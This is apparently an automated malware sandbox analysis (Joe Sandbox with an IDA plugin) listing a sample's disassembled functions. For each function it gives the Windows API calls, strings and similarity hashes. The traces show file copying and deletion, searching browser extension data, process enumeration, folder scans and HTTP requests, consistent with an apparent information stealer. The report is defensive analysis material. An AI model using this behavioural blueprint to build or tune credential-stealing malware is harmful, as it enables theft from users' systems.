Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410643, 0041075B, 00410646, 0041075E

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: 270837bafb44b6bc5d11ea386c7b230dd4b5edc87966c2f38ef28bbee6bca05d
Instruction ID: 4e5c4e7109811dd04489307e57989d734427ebddea2fc0f69e8a4a25ed86313c
Opcode Fuzzy Hash: 270837bafb44b6bc5d11ea386c7b230dd4b5edc87966c2f38ef28bbee6bca05d
Instruction Fuzzy Hash: 82819775B002089FCB28EF65D995EEDB7B5FF94304F10812DE8099F251DB34AA45CB86

Function 00409FF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0248BE98,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A00D
LoadLibraryA.KERNEL32(024A9C30,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A096

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,024864E0,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

SetEnvironmentVariableA.KERNEL32(0248BE98,00000000,00000000,?,00421290,?,0040FF93,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AE6), ref: 0040A082

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A002, 0040A016, 0040A02C

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: a550ab67c47681d1e402f3efdb823b5da41190146b4caeb91d37f81da9961415
Instruction ID: 756634b6078292b8205bba75648758324288abb3cd7bb3e0efd9893355994f5a
Opcode Fuzzy Hash: a550ab67c47681d1e402f3efdb823b5da41190146b4caeb91d37f81da9961415
Instruction Fuzzy Hash: 8D41E471804604AFC724EFB4EC56BAE3776BF48324F15512EF405A32A0D7B85986CB97

Function 0040A1B0 Relevance: 6.4, APIs: 4, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02488EC8,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A231
lstrlenA.KERNEL32(00000000), ref: 0040A5EA

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000,00000000), ref: 0040A32D
DeleteFileA.KERNEL32(00000000), ref: 0040A671

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID:
API String ID: 3258613111-0
Opcode ID: d7c75079c3557c198413c263c079dd9312c8cc371a7b23a2eb6393595fc82afd
Instruction ID: babd7ff3150fa9bd4e199d5026f054df416ea87c2dc191fa558e2381e0c2d671
Opcode Fuzzy Hash: d7c75079c3557c198413c263c079dd9312c8cc371a7b23a2eb6393595fc82afd
Instruction Fuzzy Hash: 17D12472811108AACB14FBA5DC96EEE7338AF14314F50815EF51772091EF786A9CCB7A

Function 0040D5C0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02488EC8,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D641
lstrlenA.KERNEL32(00000000), ref: 0040D7DF
lstrlenA.KERNEL32(00000000), ref: 0040D7F3
DeleteFileA.KERNEL32(00000000), ref: 0040D872

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 38933bda66761443b689d8061a22a91af89e270e35f8b1f2c88dded9660e8fbb
Instruction ID: b9a8a4b288ee9f939e53bd87e1647cffb120ee14b7120403b064e1d16f2d4ef2
Opcode Fuzzy Hash: 38933bda66761443b689d8061a22a91af89e270e35f8b1f2c88dded9660e8fbb
Instruction Fuzzy Hash: DC814472911108ABCB14FBB1DC96EEE7339AF54318F40452EF40772091EF786A58CB6A

Function 0040F2E0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421524,00420D7A), ref: 0040F38C
lstrlenA.KERNEL32(00000000), ref: 0040F3AB

Strings

moz-extension+++, xrefs: 0040F3ED
^userContextId=4294967295, xrefs: 0040F3DC

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$ChangeCloseCreateFindFreeNotificationReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 2768692033-3310892237
Opcode ID: 559f4b28d4c6f388b2cc218e4a1c15c8aef3a61e27ab17ef34df4110fc3ca245
Instruction ID: 29c62e45bd112fa8e6d3d1c16e218030d21c495d55cc38802304d1b40baba72e
Opcode Fuzzy Hash: 559f4b28d4c6f388b2cc218e4a1c15c8aef3a61e27ab17ef34df4110fc3ca245
Instruction Fuzzy Hash: D2513175D01108AACB04FBB1DC56DEE7338AF94314F40812EF81767191EE7C6A58CB6A

Function 00418120 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Process32First.KERNEL32(?,00000128), ref: 0041817E
Process32Next.KERNEL32(?,00000128), ref: 00418193

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindCloseChangeNotification.KERNEL32(?), ref: 00418201

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: 7fff56f8d853c87629c258518758299b6fdc88a3e28ceb3105f294e0c1acc842
Instruction ID: 6084a3a81ad9197a86b05fcc5bdad381a42aa545a74b9a2169b69cd5b8afd334
Opcode Fuzzy Hash: 7fff56f8d853c87629c258518758299b6fdc88a3e28ceb3105f294e0c1acc842
Instruction Fuzzy Hash: 8E319E71902218ABCB24EF95DC45FEEB778EF04710F10419EE50AA21A0DF386E85CFA5

Function 00416593 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,024864E0,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,024864E0,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: e67069b7a25109c1f103972856e5ff06790c1bc0ba95d107da3788f3134d6b09
Instruction ID: a64f93d993f1e87f951aacd978fe42101be04856bc676c4d6d5bcee74d417e49
Opcode Fuzzy Hash: e67069b7a25109c1f103972856e5ff06790c1bc0ba95d107da3788f3134d6b09
Instruction Fuzzy Hash: F0F08230900605FFEB20ABA0EC09BFE7736AF04715F11441BB916A51D5CBF89582CA6E

Function 00414CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,024AAD50), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,024AA2E8,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Strings

ERROR, xrefs: 00414D53
ERROR, xrefs: 00414CFA

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 3458ee99b39ac988d94e51388e6f44c941a0106519a92fb98d2cf65e61f1d671
Instruction ID: 9b7a9698bb488a37f3de611b15de8acf20b28e6af01427a962a44d236a29daab
Opcode Fuzzy Hash: 3458ee99b39ac988d94e51388e6f44c941a0106519a92fb98d2cf65e61f1d671
Instruction Fuzzy Hash: 7F113330901108B7CB14FF61DC56AED7338AF50354F90816EF80B5A5A2EF786B95C75A

Function 00414A20 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414A5A
lstrcat.KERNEL32(?,00421040), ref: 00414A77
lstrcat.KERNEL32(?,0248BCB8), ref: 00414A8B
lstrcat.KERNEL32(?,00421044), ref: 00414A9D

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 79966eb7e9c33c0bafc15393eabb9ccc0183321ad086636ad2c3e568466d4db7
Instruction ID: 8dbf70b05384144c92fb0b395b2fe843caac1dc39a8cdd365ca80c12b48963c0
Opcode Fuzzy Hash: 79966eb7e9c33c0bafc15393eabb9ccc0183321ad086636ad2c3e568466d4db7
Instruction Fuzzy Hash: B6214F76A002086BC724FBA0EC42EDD373DAF94304F40845EB94A571D1EE7856C98BA5

Function 00414690 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004146CA
lstrcat.KERNEL32(?,024A9A30), ref: 004146E8

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

